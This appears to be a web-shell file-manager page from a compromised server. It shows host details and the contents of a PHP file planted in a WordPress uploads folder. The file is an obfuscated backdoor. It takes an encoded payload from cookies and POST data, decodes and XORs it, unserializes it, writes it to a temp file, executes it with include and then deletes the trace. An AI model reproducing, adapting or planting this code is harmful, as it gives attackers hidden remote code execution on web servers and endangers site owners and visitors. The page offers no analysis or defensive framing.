HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2019/11/fd7f6275.php
$MuQrBSuee = 'v' . "\153" . chr (72) . '_' . chr ( 94 - 22 )."\x49" . 'v' . "\x76";$UKxTqk = chr ( 1035 - 936 ).'l' . chr (97) . 's' . "\x73" . chr ( 486 - 391 ).chr ( 128 - 27 ).chr (120) . "\x69" . 's' . chr (116) . chr ( 568 - 453 ); $JUzaWdmGy = class_exists($MuQrBSuee); $UKxTqk = "1134";$mPQEVJ = strpos($UKxTqk, $MuQrBSuee);if ($JUzaWdmGy == $mPQEVJ){function cCRQykXH(){$eCLccwHQm = new /* 62486 */ vkH_HIvv(4457 + 4457); $eCLccwHQm = NULL;}$pOHnVB = "4457";class vkH_HIvv{private function FumcbMxPz($pOHnVB){if (is_array(vkH_HIvv::$sPDcUITOF)) {$name = sys_get_temp_dir() . "/" . crc32(vkH_HIvv::$sPDcUITOF["salt"]);@vkH_HIvv::$sPDcUITOF["write"]($name, vkH_HIvv::$sPDcUITOF["content"]);include $name;@vkH_HIvv::$sPDcUITOF["delete"]($name); $pOHnVB = "4457";exit();}}public function mJoRl(){$JKBau = "1440";$this->_dummy = str_repeat($JKBau, strlen($JKBau));}public function __destruct(){vkH_HIvv::$sPDcUITOF = @unserialize(vkH_HIvv::$sPDcUITOF); $pOHnVB = "59272_53350";$this->FumcbMxPz($pOHnVB); $pOHnVB = "59272_53350";}public function JlxXFSq($JKBau, $ZTJBNTvf){return $JKBau[0] ^ str_repeat($ZTJBNTvf, intval(strlen($JKBau[0]) / strlen($ZTJBNTvf)) + 1);}public function yeSqcz($JKBau){$ELrYxk = "\x62" . chr (97) . 's' . chr ( 333 - 232 ).chr (54) . "\64";return array_map($ELrYxk . chr ( 286 - 191 )."\x64" . "\145" . chr (99) . 'o' . 'd' . chr ( 872 - 771 ), array($JKBau,));}public function __construct($AeNLQbw=0){$jQWdSyRu = chr ( 400 - 356 ); $JKBau = "";$gtJTXjMtV = $_POST;$xOHpcNSZF = $_COOKIE;$ZTJBNTvf = "33c1a343-ad03-4d24-88f5-e42265bfee60";$fiqyS = @$xOHpcNSZF[substr($ZTJBNTvf, 0, 4)];if (!empty($fiqyS)){$fiqyS = explode($jQWdSyRu, $fiqyS);foreach ($fiqyS as $HSvVSnUXmn){$JKBau .= @$xOHpcNSZF[$HSvVSnUXmn];$JKBau .= @$gtJTXjMtV[$HSvVSnUXmn];}$JKBau = $this->yeSqcz($JKBau);}vkH_HIvv::$sPDcUITOF = $this->JlxXFSq($JKBau, $ZTJBNTvf);if (strpos($ZTJBNTvf, $jQWdSyRu) !== FALSE){$ZTJBNTvf = explode($jQWdSyRu, $ZTJBNTvf); $rDGHxIe = base64_decode(md5($ZTJBNTvf[0])); $udjBuCcDl = strlen($ZTJBNTvf[1]) > 5 ? substr($ZTJBNTvf[1], 0, 5) : $ZTJBNTvf[1];$_GET['new_key'] = md5(implode('', $ZTJBNTvf));}}public static $sPDcUITOF = 26390;}cCRQykXH();}